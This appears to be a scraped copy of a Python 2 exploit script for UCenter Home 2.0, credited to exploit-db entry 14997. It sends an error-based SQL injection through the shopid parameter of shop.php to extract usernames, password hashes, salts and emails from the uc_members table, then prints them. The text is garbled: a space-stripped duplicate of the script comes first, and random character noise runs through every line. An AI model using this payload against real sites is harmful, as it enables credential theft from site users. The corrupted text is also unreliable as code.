#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
1 r1 H8 R, W& o, W+ d' h. ? 0 t% ]( c( c8 c* S: I9 R+ t9 J7 d
4 D& w$ I/ `$ d' r' T& M- W#!/usr/bin/env python
& ^. l+ t2 a* q
0 B6 \ K0 G$ S4 ]& Cimport sys ! l7 Z V6 X8 a3 }/ q
import urllib2
- |4 r- T. g7 r3 c* Q% }, o& G' \import re 6 Y- Z& J. U0 I9 B, l' P9 Y0 p
) W' _6 H* x, Y- X( l
def info(): $ W6 r2 V7 E1 M7 A% B
print 'From:http://www.exploit-db.com/exploits/14997/' , Z; [1 j( f3 k: M) H
print 'http://www.hake.cc/Web_loudong/' 0 A! `: _: g/ x! m4 ^. w! b1 A
print 'changed:qiaoy' & T5 K3 O; e, n: N0 [
print 'exp:'
8 k9 e8 j8 i* s1 e/ I! o print ' ./UCenter_Home_2.0.py site' 4 j1 b6 ]" d, {4 z, u
) y$ s- [0 U7 X r6 p" w
def main(): . h% Y, R- y$ N7 L7 d7 Q
if len(sys.argv) != 2:
R: M. m! u+ E5 a/ q& A) v) E1 F$ Z info() 6 O( C" ]: e9 W; H: C( q/ m
else: # v1 M; [1 b0 S' a
site = sys.argv[1] 1 A& g. Z P! G
if site[0:7] == 'http://':
, Z" t. s! X3 m sitesite =site 4 `# Q7 M( r Y2 m( o
elif site[0:8] == 'https://': & k1 J+ s' x+ f- V |" V) o
sitesite = site 6 i' _7 Y4 O T( J. v- |
else:
$ r7 e# r# L' t' i' a site = 'http://'+site $ k! X/ x( O1 D4 Z& H
try: 8 U3 X. Y: A* \* X
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' . w9 Y( q, k* H/ M' c
Value = urllib2.urlopen(url).read()
8 l" b- i% i+ q! k1 n Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] + T' o5 q5 p7 b/ L+ M3 Z
hacked = Msg.split(':') 6 l- j6 k4 N0 y/ A
print 'Name: '+hacked[1] ( c' k( X6 ]( h p
print 'Passwd: '+hacked[2] : [* \( X3 M& r" d/ i% k
print 'salt: '+hacked[3]
& k2 W. C1 O4 W. ^0 @ print 'email: '+hacked[4] 3 p9 V P# _$ ~+ X
except: . }, q1 L0 ^, E0 a$ |
print 'Sorry,I can\'t work............' 2 D4 F3 Y5 O" ]! _
' m# ^2 [7 N" T/ i7 c' C; Cif __name__ == '__main__':
) p6 [2 y3 L0 r% k, U main() |